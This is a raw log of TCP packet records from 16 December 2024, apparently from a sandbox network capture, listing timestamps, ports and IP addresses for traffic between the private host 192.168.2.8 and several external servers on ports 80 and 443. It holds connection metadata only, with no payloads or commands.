Dec 16, 2024 13:16:24.055870056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.055911064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.056862116 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.056909084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.056974888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.057013988 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.057935953 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.057977915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.058022022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.058059931 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.059024096 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.059066057 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.059083939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.059120893 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.060094118 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.060137987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.060229063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.060270071 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.061110020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.061150074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.061223030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.061261892 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.062195063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.062235117 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.062360048 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.062393904 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.063282967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.063333988 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.063370943 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.063410997 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.064330101 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.064373016 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.064441919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.064480066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.065395117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.065437078 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.065529108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.065563917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.066472054 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.066514969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.066580057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.066615105 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.067528009 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.067569971 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.067617893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.067656040 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.068634033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.068676949 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.068717003 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.068756104 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.069673061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.069716930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.069757938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.069804907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:26.307672977 CET	49718	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:26.308238029 CET	49740	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:26.428183079 CET	80	49718	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:26.428210974 CET	80	49740	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:26.428275108 CET	49718	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:26.428333044 CET	49740	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:26.874926090 CET	49740	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:26.882899046 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:26.883008957 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:26.883105040 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:26.891406059 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:26.891444921 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:26.994851112 CET	80	49740	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:27.773441076 CET	80	49740	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:27.773586035 CET	49740	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:27.777228117 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:27.897037983 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:27.897167921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:27.897290945 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:28.016984940 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:28.134965897 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:28.135102987 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.136568069 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.136578083 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:28.136949062 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:28.184308052 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.214436054 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.214488983 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.214689016 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:28.847480059 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:28.847608089 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:28.847727060 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.850719929 CET	49741	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.850766897 CET	443	49741	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:28.930133104 CET	49748	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.930196047 CET	443	49748	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:28.930284023 CET	49748	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.930591106 CET	49748	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:28.930624008 CET	443	49748	172.67.177.250	192.168.2.8
Dec 16, 2024 13:16:29.241214037 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241244078 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241255999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241283894 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.241328955 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241348982 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241362095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241374016 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241468906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.241468906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.241468906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.241468906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.241565943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241578102 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241585970 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.241641998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.361140966 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.361249924 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.361285925 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.361319065 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.433557987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.433722019 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.433798075 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.433840036 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.437674046 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.437731028 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.437766075 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.437803030 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.446357965 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.446381092 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.446424961 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.446444988 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.456806898 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.456821918 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.456866026 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.456886053 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.462889910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.462954998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.462990046 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.463022947 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.471952915 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.471967936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.472012997 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.480427027 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.480437994 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.480488062 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.488719940 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.488787889 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.488929987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.488965034 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.496896982 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.496907949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.496963978 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.504811049 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.504873991 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.504897118 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.504929066 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.512501001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.512574911 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.512646914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.512686014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.625705004 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.625808954 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.625814915 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.625849962 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.628397942 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.628412008 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.628465891 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.633184910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.633224964 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.633363962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.633398056 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.638237953 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.638278008 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.638369083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.638401985 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.643388987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.643441916 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.643523932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.643559933 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.648900032 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.648936033 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.649202108 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.649234056 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.652899981 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.652936935 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.653018951 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.653050900 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.657726049 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.657763004 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.657793999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.657825947 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.662589073 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.662652969 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.662669897 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.662816048 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.667330980 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.667376995 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.667462111 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.667495012 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.672158003 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.672214985 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.672245979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.672277927 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.676990986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.677057981 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.677078962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.677112103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.681792021 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.681855917 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.681854963 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.681888103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.686650991 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.686705112 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.686711073 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.686734915 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.691380978 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.691441059 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.691476107 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.691507101 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.696310043 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.696362972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.819060087 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.819190025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.819210052 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.819253922 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.821058989 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.821101904 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.821242094 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.821278095 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.825359106 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.825409889 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.825642109 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.825680971 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.829323053 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.829401970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.829504013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.829627037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.834372044 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.834444046 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.834543943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.834579945 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.837652922 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.837711096 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.837821007 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.837857962 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.841768026 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.841823101 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.841854095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.841881990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.845823050 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.845877886 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.845916033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.845947027 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.849984884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.850045919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.850053072 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.850091934 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.854264021 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.854324102 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.854361057 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.854393005 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.858376026 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.858392954 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.858416080 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.858434916 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.862638950 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.862682104 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.862966061 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.863003969 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.867121935 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.867139101 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.867166042 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.867182970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.871577024 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.871632099 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.871709108 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.871759892 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.875088930 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.875099897 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.875148058 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.879100084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.879153013 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.879185915 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.879219055 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.883176088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.883222103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.883274078 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.883306980 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.887351990 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.887392998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.887428045 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.887463093 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.891505003 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.891549110 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.891587019 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.891617060 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.895677090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.895855904 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.895860910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.895894051 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.899808884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.899844885 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.899880886 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.899913073 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.903990984 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.904032946 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.904066086 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.904099941 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.908132076 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.908226967 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.908262968 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.908302069 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.912246943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.912286997 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.912743092 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.912846088 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:29.916378021 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:29.916414022 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.011409998 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.011428118 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.011476994 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.012881994 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.012924910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.012984037 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.013020039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.016542912 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.016602039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.016647100 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.016684055 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.020215988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.020265102 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.020271063 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.020309925 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.023989916 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.024003029 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.024039984 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.024056911 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.027399063 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.027441025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.027801991 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.027839899 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.030853033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.030898094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.031018972 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.031059980 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.034004927 CET	80	49746	185.215.113.16	192.168.2.8
